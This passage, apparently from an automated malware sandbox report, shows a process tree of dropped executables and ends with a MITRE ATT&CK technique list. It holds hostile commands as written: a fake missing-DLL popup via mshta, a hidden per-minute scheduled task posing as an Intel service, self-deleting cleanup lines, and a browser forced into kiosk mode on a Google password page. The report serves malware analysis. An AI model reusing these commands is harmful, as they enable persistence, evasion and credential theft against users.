        C:\Windows\system32\cmd.exe /c "ipconfig /all"
        6⤵
        
        PID:24596
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        7⤵
        Gathers network information
        
        PID:24692
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:24748
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:15388
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig"
        6⤵
        
        PID:8940
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig
        7⤵
        Gathers network information
        
        PID:23500
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig /all"
        6⤵
        
        PID:23288
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        7⤵
        Gathers network information
        
        PID:11324
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:24976
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:24852
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig"
        6⤵
        
        PID:24580
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig
        7⤵
        Gathers network information
        
        PID:7044
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig"
        6⤵
        
        PID:9592
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig
        7⤵
        Gathers network information
        
        PID:8952
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig /all"
        6⤵
        
        PID:7832
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        7⤵
        Gathers network information
        
        PID:13280
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:11812
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:12176
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Missing runtime 140.DLL please download runtime 140 to continue.', 0, 'Missing DLL files', 0+16);close()""
        6⤵
        
        PID:14824
        
        C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Missing runtime 140.DLL please download runtime 140 to continue.', 0, 'Missing DLL files', 0+16);close()"
        7⤵
        
        PID:14560
  - - C:\Users\Admin\AppData\Local\Temp\1014798001\4ZD5C3i.exe
      "C:\Users\Admin\AppData\Local\Temp\1014798001\4ZD5C3i.exe"
      4⤵
      Executes dropped EXE
      Enumerates connected drives
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2224
  - - C:\Users\Admin\AppData\Local\Temp\1014844001\BlueMail.exe
      "C:\Users\Admin\AppData\Local\Temp\1014844001\BlueMail.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops startup file
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5216
  - - C:\Users\Admin\AppData\Local\Temp\1015042001\9d3c4861d6.exe
      "C:\Users\Admin\AppData\Local\Temp\1015042001\9d3c4861d6.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:15384
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
        5⤵
        
        PID:36220
      - C:\Windows\system32\mode.com
        
        mode 65,10
        6⤵
        
        PID:36280
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e file.zip -p24291711423417250691697322505 -oextracted
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:36300
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_7.zip -oextracted
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:36404
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_6.zip -oextracted
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:36468
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_5.zip -oextracted
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:36496
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_4.zip -oextracted
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:36556
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_3.zip -oextracted
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:36608
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_2.zip -oextracted
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:36648
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_1.zip -oextracted
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:36676
      - C:\Windows\system32\attrib.exe
        
        attrib +H "in.exe"
        6⤵
        Views/modifies file attributes
        
        PID:36712
      - C:\Users\Admin\AppData\Local\Temp\main\in.exe
        
        "in.exe"
        6⤵
        Executes dropped EXE
        
        PID:36744
        
        C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        7⤵
        Views/modifies file attributes
        
        PID:36772
        
        C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        7⤵
        Views/modifies file attributes
        
        PID:36780
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:36796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell ping 127.0.0.1; del in.exe
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:36824
        
        C:\Windows\system32\PING.EXE
        
        "C:\Windows\system32\PING.EXE" 127.0.0.1
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1928
  - - C:\Users\Admin\AppData\Local\Temp\1015043001\0f16e0ef32.exe
      "C:\Users\Admin\AppData\Local\Temp\1015043001\0f16e0ef32.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:36032
    - - C:\Users\Admin\AppData\Local\Temp\1015043001\0f16e0ef32.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1015043001\0f16e0ef32.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:36128
  - - C:\Users\Admin\AppData\Local\Temp\1015044001\a333818474.exe
      "C:\Users\Admin\AppData\Local\Temp\1015044001\a333818474.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:36396
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:36528
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:19608
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:19084
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:18660
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:18332
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        5⤵
        
        PID:18328
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        6⤵
        Checks processor information in registry
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:2956
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1984 -parentBuildID 20240401114208 -prefsHandle 1908 -prefMapHandle 1900 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {65fc565c-382c-4ca3-9028-9bc29d1bd98d} 2956 "\\.\pipe\gecko-crash-server-pipe.2956" gpu
        7⤵
        
        PID:18952
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2416 -parentBuildID 20240401114208 -prefsHandle 2408 -prefMapHandle 2020 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c41d0a15-469f-43db-85cf-f80e25cef16d} 2956 "\\.\pipe\gecko-crash-server-pipe.2956" socket
        7⤵
        
        PID:20972
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3292 -childID 1 -isForBrowser -prefsHandle 3284 -prefMapHandle 3280 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1356 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {754f4006-7d29-4f7c-ae80-61903dcf3b1f} 2956 "\\.\pipe\gecko-crash-server-pipe.2956" tab
        7⤵
        
        PID:26372
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4156 -childID 2 -isForBrowser -prefsHandle 1360 -prefMapHandle 4136 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1356 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cd61e0af-0963-4b53-b984-3f3ef2808e9b} 2956 "\\.\pipe\gecko-crash-server-pipe.2956" tab
        7⤵
        
        PID:23248
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4868 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4804 -prefMapHandle 4820 -prefsLen 29197 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a46c99e4-c3d3-405f-879a-e007662f8cb1} 2956 "\\.\pipe\gecko-crash-server-pipe.2956" utility
        7⤵
        Checks processor information in registry
        
        PID:16464
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5220 -childID 3 -isForBrowser -prefsHandle 5212 -prefMapHandle 5132 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1356 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {126aec2d-8ca7-4524-9d05-11d8e614985c} 2956 "\\.\pipe\gecko-crash-server-pipe.2956" tab
        7⤵
        
        PID:7332
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5356 -childID 4 -isForBrowser -prefsHandle 5268 -prefMapHandle 5272 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1356 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1db2dc94-ea79-4150-856b-282cddb730cc} 2956 "\\.\pipe\gecko-crash-server-pipe.2956" tab
        7⤵
        
        PID:6960
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5492 -childID 5 -isForBrowser -prefsHandle 5568 -prefMapHandle 5564 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1356 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bb47dab2-c93d-4d15-bbcf-ceab9f71af45} 2956 "\\.\pipe\gecko-crash-server-pipe.2956" tab
        7⤵
        
        PID:6764
  - - C:\Users\Admin\AppData\Local\Temp\1015045001\3d998e8004.exe
      "C:\Users\Admin\AppData\Local\Temp\1015045001\3d998e8004.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:22712
  - - C:\Users\Admin\AppData\Local\Temp\1015046001\841b2153d3.exe
      "C:\Users\Admin\AppData\Local\Temp\1015046001\841b2153d3.exe"
      4⤵
      Modifies Windows Defender Real-time Protection settings
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Windows security modification
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:17216
  - - C:\Users\Admin\AppData\Local\Temp\1015047001\9f104a61dd.exe
      "C:\Users\Admin\AppData\Local\Temp\1015047001\9f104a61dd.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:15844
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1015047001\9f104a61dd.exe" & rd /s /q "C:\ProgramData\QIMYUKNY5XBI" & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6284
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:8424
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 15844 -s 2072
        5⤵
        Program crash
        
        PID:9244
  - - C:\Users\Admin\AppData\Local\Temp\1015048001\93a2347809.exe
      "C:\Users\Admin\AppData\Local\Temp\1015048001\93a2347809.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:11740
- C:\Users\Admin\AppData\Local\Temp\1014844001\BlueMail.exe
  "C:\Users\Admin\AppData\Local\Temp\1014844001\BlueMail.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:15492
- - C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe
    "C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:21284
- C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe
  "C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:25436
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\10000660111\eula.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:8880
- C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe
  "C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe"
  2⤵
  - Executes dropped EXE
  PID:8296

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1208

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4052

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:10772

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:19552

C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:17324
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:23868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:19988
- - C:\Windows\system32\PING.EXE
    "C:\Windows\system32\PING.EXE" 127.1.10.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:16904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 15844 -ip 15844
1⤵
PID:14548

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:26124

C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:26248
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:26268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:26312
- - C:\Windows\system32\PING.EXE
    "C:\Windows\system32\PING.EXE" 127.1.10.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:26776

C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe
C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:26812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Modify Authentication Process

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion